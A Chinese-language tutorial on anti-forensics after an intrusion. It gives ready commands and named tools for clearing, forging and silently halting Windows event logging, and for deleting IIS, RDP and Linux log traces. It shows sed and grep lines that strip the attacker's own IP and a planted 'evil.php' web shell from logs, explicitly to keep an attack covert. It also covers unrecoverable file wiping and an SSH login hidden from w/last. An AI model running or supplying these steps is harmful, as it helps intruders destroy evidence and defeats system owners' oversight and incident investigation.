WINDOWS 日志
Windows日志有许多细分类:
windows事件日志,IIS日志,FTP日志,防火墙日志等等。
事件查看器
windows系统自带一个叫做事件查看器的工具,它可以分析所有的windows系统日志。
运行->eventvwr 即可打开。
它把日志分为了两种,一个是WINDOWS日志,一个是“应用程序和服务日志”
事件查看器内置有三个核心日志文件:SYSTEM,SECURITY,APPLICATION。他们的默认最大容量为20MB.
事件类型
事件查看器把时间分类为了五种类型:
信息(Information)
信息事件指应用程序、驱动程序或服务的成功操作的事件。
警告(Warning)
警告事件指不是直接的、主要的,但是会导致将来问题发生的问题。例如,当磁盘空间不足或未找到打印机时,都会记录一个“警告”事件。
错误(Error)
错误事件指用户应该知道的重要的问题。错误事件通常指功能和数据的丢失。例如,如果一个服务不能作为系统引导被加载,那么它会产生一个错误事件。
成功审核(Success audit)
成功的审核安全访问尝试,主要是指安全性日志,这里记录着用户登录/注销、对象访问、特权使用、账户管理、策略更改、详细跟踪、目录服务访问、账户登录等事件,例如所有的成功登录系统都会被记录为“ 成功审核”事件。
失败审核(Failure audit)
失败的审核安全登录尝试,例如用户试图访问网络驱动器失败,则该尝试会被作为失败审核事件记录下来。
删除日志
Windows并没有直接提供删除特点日志的功能,事件查看器也只提供了一个清除日志的选项,原因是日志记录的ID是连续的,默认的排序方式是从大到小往下排列。
清空日志
暴力一点,可以直接把日志全部删除。
开始→运行,输入 eventvwr
进入事件查看器,右边栏选择清除日志。
或者通过powershell选定日志删除
CODE
(a)PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security,'windows powershell'}" (b)Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}
嫌powershell太长可以用wevtutil
CODE
wevtutil el 列出系统中所有日志名称 wevtutil cl system 清理系统日志 wevtutil cl application 清理应用程序日志 wevtutil cl security 清理安全日志
日志伪造
可以通过eventcreate这个自带工具伪造日志或者自定义大量垃圾信息覆盖现有日志(日志最大容量20MB)
CODE
eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
暂停日志记录
可以通过工具https://github.com/hlldz/Invoke-Phant0m,来使日志记录终止。这个工具仅支持X64
该脚本遍历事件日志服务进程(专用svchost.exe)的线程堆栈,并标识事件日志线程以杀死事件日志服务线程。因此,系统将无法收集日志。
随后新增用户,发现日志中无记录,看来日志记录确实是被终止了。
单条日志清除
https://github.com/QAX-A-Team/EventCleaner
这个工具也可以暂停日志线程停止日志记录,同时也可以恢复日志线程。但是更重要的是它可以删除单挑日志记录
官方描述
- EventCleaner closehandle 解除 security.evtx的文件占坑
- EventCleaner 100 删除ID为100的日志(必须在之前使用EventCleaner closehandle)
- EventCleaner suspend 暂停日志线程,停止日志记录
- do anything without worrying about logs
- EventCleaner normal 恢复日志线程
- delete EventCleaner
各日志位置及手动清除
IIS
CODE
路径 %SystemDrive%\inetpub\logs\LogFiles\W3SVC1\
清除WWW日志(其实并不需要停止服务都能删):
CODE
停止服务:net stop w3svc 删除日志目录下所有文件:del *.* 启用服务:net start w3svc
应用程序日志,安全日志,系统日志
CODE
%systemroot%\system32\config\AppEvent.EVT; %systemroot%\system32\config\SecEvent.EVT; %systemroot%\system32\config\SysEvent.EVT;
ftp
CODE
%systemroot%\system32\logfiles\msftpsvc1\
远程桌面
直接嫖脚本
CODE
@echo off reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f # 删除Default中的所有值 reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f # 删除整个Servers reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" 重新创建删除的注册表项 cd %userprofile%\documents\ # 转到Default.rdp文件目录 attrib Default.rdp -s -h # 更改Default.rdp文件属性,默认情况下它是隐藏 del Default.rdp # 删除文件Default.rdp文件
彻底删除日志
如何彻底删除日志?要知道仅仅是普通的删除命令实际上是并不能做到完全删除的,很容易被找到删除文件。
Cipher 命令多次覆写
在删除文件后,可以利用Cipher 命令通过 /W 参数可反复写入其他数据覆盖已删除文件的硬盘空间,彻底删除数据防止被恢复。比如
刚刚删除D:\tools
目录下的文件,执行cipher /w:D:\tools
,D 盘上未使用空间就会被覆盖三次:一次 0x00、一次 0xFF,一次随机数,所有被删除的文件就都不可能被恢复了。
Format命令覆盖格式化
Format 命令加上 /P 参数后,就会把每个扇区先清零,再用随机数覆盖。而且可以覆盖多次。比如
format D: /P:8
就表示把 D 盘用随机数覆盖 8 次。
LINUX 日志
JS
/var/log/message 系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一 /var/log/secure 与安全相关的日志信息 /var/log/maillog 与邮件相关的日志信息 /var/log/cron 与定时任务相关的日志信息 /var/log/spooler 与UUCP和news设备相关的日志信息 /var/log/boot.log 守护进程启动和停止相关的日志消息 /var/log/wtmp 该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件,用last查看 /var/log/btmp 记录所有登录失败信息,使用lastb命令查看 /var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看 /var/log/utmp 记录当前已经登录的用户信息,使用w,who,users等命令查看 ~/.bash_history 执行的命令,用 histroy -c 即可删除
清空日志
清除用户最后一次登录时间:echo > /var/log/lastlog #lastlog命令
清除当前登录用户的信息:echo > /var/log/utmp #使用w,who,users等命令
清除安全日志记录:cat /dev/null > /var/log/secure
清除系统日志记录:cat /dev/null > /var/log/message
诸如此类…
替换/删除部分日志
日志文件被清空会引起管理员警觉,所以可以只替换或删除关键信息,实现隐秘攻击的目的。
CODE
# 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip sed -i '/自己的ip/'d /var/log/messages # 全局替换登录IP地址: sed -i 's/192.168.166.85/192.168.1.1/g' secure 对于WEB服务还可以这样隐藏我们的马 # 使用grep -v来把我们的相关信息删除, cat /var/log/nginx/access.log | grep -v evil.php > tmp.log # 把修改过的日志覆盖到原日志文件 cat tmp.log > /var/log/nginx/access.log/
彻底删除
shred
-n 指定覆写次数,默认3次
CODE
shred -f -u -z -v -n 8 1.txt
dd
这个命令用于清空文件
CODE
dd if=/dev/zero of=要删除的文件
wipe
很简单易用,但是一般不是装机自带
CODE
wipe filename
Secure-Delete
secure-delete是一个集成化工具包,收录了些安全删除文件的命令行工具。
CODE
srm filename sfill /a 用随机数填充空闲或者可用的空间,保证没有可恢复的文件或文件夹
sswap用于安全地清除交换分区。
CODE
cat /proc/swaps 找到交换分区
CODE
sswap /www/swap
smem用于清理在内存中的内容,提供安全地内存清理:
CODE
smem
SSH隐身登录
ssh -T root@192.168.199.123 /usr/bin/bash -i
-T表示不分配伪终端,/usr/bin/bash -i 表示在登录后调用bash命令 -i 表示是交互式shel,这样登陆将不会在w/last命令结果中显示.
但是会被lsof -i:22 和 ps |grep ssh 等命令发现